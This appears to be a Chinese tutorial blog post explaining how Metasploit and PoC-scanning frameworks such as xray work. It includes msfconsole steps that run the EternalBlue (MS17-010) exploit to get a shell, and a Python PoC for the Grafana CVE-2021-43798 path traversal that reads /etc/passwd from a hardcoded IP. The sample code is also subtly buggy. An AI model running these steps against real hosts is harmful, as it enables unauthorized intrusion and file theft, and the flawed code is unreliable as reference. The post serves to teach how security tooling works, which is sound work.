Metasploit框架基础(一)

news2024/11/17 6:00:36

文章目录

  • 前言
  • 一、基础认知
  • 二、批量POC/EXP的构想
  • 三、poc检测框架的简单实现
  • 四、xray
  • 五、Meatsploit框架
  • 参考


前言

Metasploit

  • 一款渗透测试框架
  • 漏洞利用的集合与构建和定制满足你的需求的基础
  • 漏洞利用和验证的工具

这几个说法都是百度或者官方文档中出现的手法,说到底无非就是一个软件,一堆代码。至于称之为框架(framework),就是这堆代码是帮你写好大部分的、通用的代码。封装了许多漏洞利用与验证功能,并提供了许多接口供我们调用,以定制我们想要的功能。用面向对象(OOP)的角度来说就是,写好了一个基类/接口,我们按照结构继承/实现其中的方法即可。
卖课用得最多的(影响很大)的漏洞——MS17-010,这个百度一下就有一大堆用MFS怎么拿shell的

search ms17-010
use exploit/windows/smb/ms17_010_eternalblue
set RHOST 目标ip`
run
shell

一顿操作,就轻而易举地拿到一个shell。总是很疑惑,use payloads 发生了什么,payloads到底是什么样的,run之后发生了什么?
现在,我们将尝试解答这些问题


一、基础认知

不管怎么花里胡哨,漏洞利用都是通过网络通信的,通过协议栈软件/网络子系统进行信息的交换。信息的交互都是通过各种协议进行,无非就是A主机发一串特定格式的消息(01001010101),B主机接收后解析识别这个格式的01001010101,然后按照协议的规定进行下一步。
以HTTP协议为例,这是一个基于文本的应用协议,以下是一个典型的请求数据包:

GET / HTTP/1.1
Host: baidu.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.78
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: BIDUPSID=704FDAD384C9E21E8616425F299CEC24; PSTM=1620123768; 
Connection: close

HTTP服务器(Web服务器)接收到这个段文本消息后,按照一定格式回复一个HTML文件,浏览器解析渲染,就可以看到百度的页面了。
这些都是通过协议栈提供给我们的编程接口实现的——socket API。其他应用层协议都是通过socket编程实现的,协议间的差异无非就是消息格式、加密方式、执行的操作等。

二、批量POC/EXP的构想

我们来看一个很辣鸡的POC(CVE-2021-43798)

import requests

url = "http://8.210.89.154:3000/"
header = {
}
module_list = ["alertlist",
    "annolist",
    "barchart",
   #这里省略很多个插件名   
]

file_to_read = "/etc/passwd"

for plugin in module_list:
    poc_url = url + "public/plugins/" + plugin + '/../../../../../../../../../../../../..' + file_to_read
    print(poc_url)
    res = requests.get(url=url, headers=header)
    print(res.status_code)
    print("*****************************************************")
    if "root" in res.text:
        print("漏洞存在")
        break

这个POC做的事:

  1. 构造一个含有payload的url(这里就是这个漏洞的漏洞利用方式)
  2. 发送http数据包(requests模块已经榜我们构造好数据包并发送出去)
  3. 获取回包并做判断

所有的POC都是这样:

  • 构造含有payload的数据包(各种协议)
  • 根据可用的条件判断漏洞

那么我们要做就是2点,其他东西几乎都是一样的,那么我们就可写一个软件,用户提供这2点逻辑代码,让软件自动帮我们构造数据包并调用执行,那么,我们就可以实现批量的poc检测。野心再大一点,我们要实现更多功能,那么,一个漏洞扫描器就诞生了。


三、poc检测框架的简单实现

由于我们我们辣鸡的代码水平,我们并不能做很复杂的事情,我们的构想是这样:

  • 以poc文件为单位
  • 规定每个poc文件中实现verify()函数
  • 遍历poc,调用verify()函数

项目结构:
在这里插入图片描述
main.py如下:

import os
import sys
import importlib
import warnings
warnings.filterwarnings("ignore")  #去除warnings
def banner():
    msg = r'''
    --
    \ \               ||
  -----------         ||
  -----------    -----||----
    \ \  //      -----||----
---------------- ||---||----||
---------------- ||---||----||
    ---//---        //|| \\
    --//---        // ||  \\
     //               ||
    '''
    print(msg)
banner()
sys.path.append("pocs")  #临时添加搜索模块时的路径
path = "./pocs"
list = []
datanames = os.listdir(path)  #获取path目录下所有的POC文件名,存在列表datanames
datanames.remove('__init__.py')  # 去除非poc文件
datanames.remove('__pycache__')  # 去除非poc文件
for i in datanames:     
    a = i[:-3]			#去除文件后缀 .py
    i = importlib.import_module(a)  #将字符串作为模块导入
    list.append(i)					#模块名存入list[]
for i in list:
    res = i.verify(sys[1])	#传入url,调用每个模块的verify()方法
    print(res)

poc文件如下:

import requests
def verify(arg, **kwargs):
    r = requests.get(arg)
    if r.status_code == 200:
        return {"url": arg, "text": r.text}

命令运行:
在这里插入图片描述

这代码辣鸡得不能在辣鸡了,但也勉强实现了我们得需求,批量poc对一个url进行检测。经过了辣鸡人生体验,我们来看看现代化的、时尚的、智能的poc检测框架

四、xray

xray的检测的伪代码:

for rule in rules:
    newReq = mutate_request_by_rule(req, rule)
    response = send(newReq)
    if not check_response(response, rule):
        break

简单来讲就是将请求根据 rule 中的规则对请求变形,然后获取变形后的响应,再检查响应是否匹配 expression 部分的表达式。如果匹配,就进行下一个 rule,如果不匹配则退出执行。 如果成功执行完了最后一个 rule,那么代表目标有漏洞,将 detail 中的信息附加到漏洞输出后就完成了单个 poc 的整个流程。

不管怎么变,核心思想都是:

  • 请求数据包变形
  • 根据回包逻辑判断

五、Meatsploit框架

讲了这么多,到底讲了什么呢?我们再来看一下MS7-010的利用过程:

search ms17-010
use exploit/windows/smb/ms17_010_eternalblue
set RHOST 目标ip`
run
shell

无非就是

  1. 关键字搜索
  2. 加载人家写好的exp(有些还要设置payload
  3. 设置exp需要的参数
  4. run --> 发送该数据包进行攻击

如果你感兴趣,可以自己去看一下这个exploit/windows/smb/ms17_010_eternalblueruby文件
本质还是需要懂得漏洞本身,永恒之蓝这种系统漏洞又涉及SMB协议、二进制、缓冲区溢出等知识,所以说Metasploit是一个框架,允许你基于这个框架写poc、exp,并进行攻击利用。你完全可以写一个独立的工具,不过,正如我们实现的辣鸡poc,一键扫描还是香的。而且之前我们说过,很多代码都是重复的,框架可以简化我们写poc的过程,这也是yaml格式的poc的由来原因

参考

https://paper.seebug.org/913/
https://pocsuite.org/guide/what-is-pocsuite3.html
https://www.offensive-security.com/metasploit-unleashed/exploit-format/
《Web渗透测试 基于Metasploit5.0》
https://docs.xray.cool/#/tutorial/introduce

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/354677.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

ASEMI代理FGH60N60SFD,安森美FGH60N60SFD原装IGBT

编辑-Z 安森美FGH60N60SFD原装IGBT参数: 型号:FGH60N60SFD 集电极到发射极电压(VCES):600V 栅极到发射极电压(VGES):20V 收集器电流(IC):120…

【Spark分布式内存计算框架——Spark SQL】9. Dataset(下)RDD、DF与DS转换与面试题

5.3 RDD、DF与DS转换 实际项目开发中,常常需要对RDD、DataFrame及Dataset之间相互转换,其中要点就是Schema约束结构信息。 1)、RDD转换DataFrame或者Dataset 转换DataFrame时,定义Schema信息,两种方式转换为Dataset时…

由浅入深掌握 Python 进程间通信的各类方式

由浅入深掌握 Python 多进程间通信各类方式1、为什么要掌握进程间通信2、进程间各类通信方式简介3、消息机制通信1) 管道 Pipe 通信方式2) 消息队列Queue 通信方式4、同步机制通信(1) 进程间同步锁 – Lock(2) 子进程间协调机制 -- Event5、共享内存方式通信(1) 共享变量(2) 共…

【Bluetooth开发】蓝牙开发入门

BLE 蓝牙设备在生活中无处不在,但是我们也只是将其作为蓝牙模块进行使用,发送简单的AT命令实现数据收发。 那么,像对于一些复杂的使用场合:“车载蓝牙”、"智能手表"、“蓝牙音箱”等,我们不得不去了解底层…

千锋教育+计算机四级网络-计算机网络学习-04

UDP概述 UDP协议 面向无连接的用户数据报协议,在传输数据前不需要先建立连接;目地主机的运输层收到UDP报文后,不需要给出任何确认 UDP特点 相比TCP速度稍快些简单的请求/应答应用程序可以使用UDP对于海量数据传输不应该使用UDP广播和多播应用…

VectorDraw Web Library 10.1003.0.1 Crack

将 CAD 绘图和矢量对象显示添加到您的 HTML5 应用程序。 VectorDraw Web Library 是一个矢量图形库,旨在不仅可以打开 CAD 绘图,还可以在任何支持 HTML 5 标准的平台(例如 Windows、Android、IOS 和 Linux)上显示通用矢量对象。它…

MySQL 9:MySQL存储引擎

数据库存储引擎是数据库的底层软件组织,数据库管理系统(DBMS)使用数据引擎来创建、查询、更新和删除数据。不同的存储引擎提供不同的存储机制、索引技术、锁定级别等。 许多不同的数据库管理系统现在支持许多不同的数据引擎。 MySQL的核心是…

字符串匹配 - 模式预处理:KMP 算法(Knuth-Morris-Pratt)

Knuth-Morris-Pratt算法(简称KMP)是最常用的字符串匹配算法之一。算法简介如下算法解释主要来源于这里,但是通常很难阅读完全,我推荐你直接进入下一节 图例解释部分。我们来观察一下朴素的字符串匹配算法的操作过程。如下图&#…

Linux调试器gdb

本文已收录至《Linux知识与编程》专栏! 作者:ARMCSKGT 演示环境:CentOS 7 ​ 目录 前言 正文 下载gdb 生成可调式文件 进入gdb gdb常用指令 查看代码 l 运行程序 r 断点设置 b 显示信息 info 查看断点 info b 删除断点 d …

CentOS7突然没法上网【Network 中wired 图标消失】

参考文章(七种办法):CentOS 7 右上角网络连接图标消失,设置网络有线消失解决办法 正常图标消失,先在 终端命令 依次执行以下命令 service NetworkManager stop service network restart service NetworkManager start 一、问题真烦 CentOS7图形化界面安装…

Day893.MySQL 实例健康状态检测方法 -MySQL实战

MySQL 实例健康状态检测方法 Hi,我是阿昌,今天学习记录的是关于MySQL 实例健康状态检测方法的内容。 在一主一备的双 M 架构里,主备切换只需要把客户端流量切到备库;而在一主多从架构里,主备切换除了要把客户端流量切…

搭建企业级docker仓库—Harbor

一、简介 docker 官方提供的私有仓库 registry,用起来虽然简单 ,但在管理的功能上存在不足。 Harbor是一个用于存储和分发Docker镜像的企业级Registry服务器,harbor使用的是官方的docker registry(v2命名是distribution)服务去完成。harbor在…

String是如何保证不变的?反射为什么可以改变String的值?

String是如何保证不变的?反射为什么可以改变String的值? 1. String字符串的源码分析 String 字符串到底能不能改变已经是老生常谈的问题了,但是在面试环节中,依然能够难住不少人。 下面我们根据 JDK1.8 版本下的String源码进行…

微信Hook逆向-获取登录二维码

文章目录前言一、打开Pc微信,切换到二维码界面二、解析当前二维码内容三、利用Cheat Enginer软件扫描二维码解析文本四、寻找静态偏移五.代码获取二维码网址前言 微信二维码可以Hook获取,也可以通过找到静态偏移的方式读取 提示:以下是本篇文章正文内容…

力扣(LeetCode)240. 搜索二维矩阵 II(C++)

题目描述 枚举 枚举整个矩阵&#xff0c;找到等于 target 的元素&#xff0c;则 return true &#xff0c;否则 return false。 class Solution { public:bool searchMatrix(vector<vector<int>>& matrix, int target) {int n matrix.size(), m matrix[0]…

DataWhale 大数据处理技术组队学习task2

三、Hadoop分布式文件系统 1. 产生背景 数据量越来越大&#xff0c;一台独立的计算机已经无法存储所有的数据---->将大规模的数据存储到成百上千的计算机中------为了解决数据管理以及维护极其繁琐与低效------>分布式文件系统 分布式文件系统是管理网络中跨多台计算机…

基于SSM框架的狼途汽车门店管理系统的设计与实现

基于SSM框架的狼途汽车门店管理系统的设计与实现 ✌全网粉丝20W,csdn特邀作者、博客专家、CSDN新星计划导师、java领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ &#x1f345;文末获取项目下载方式&#x1f345; 一、…

AutoCAD学习之基本操作学习笔记

AutoCAD学习 基本操作&#xff08;23.2.15~23.2.17&#xff09; CtrlN 新建一个CAD文档F7 删除格栅F3 对象捕捉&#xff08;很重要啊&#xff0c;如果一直开着&#xff0c;操作起来很费劲。&#xff09;&#xff0c;需要关掉&#xff0c;注意使用snipaste&#xff0c;会不停地…

QT 文件监视系统QFileSystemWatcher监视目录的改变directoryChanged和监视文件的改变fileChanged

QT 文件监视系统QFileSystemWatcher监视目录的改变相关操作说明mainwindow.hmainwindow.cpp调试结果相关操作说明 添加头文件 Header: #include qmake: QT core bool QFileSystemWatcher::addPath(const QString &path)如果路径存在&#xff0c;则会向文件系统监视器添…

Prometheus Docker安装及监控自身

前提环境&#xff1a; Docker环境 涉及参考文档&#xff1a; 安装Prometheus开始 Prometheusnode_exporter Agent组件 一、部署Prometheus 1、启动容器将文件拷贝出来 docker run -d prom/prometheus2、容器将文件拷贝出来 docker cp 容器ID:/usr/share/prometheus/conso…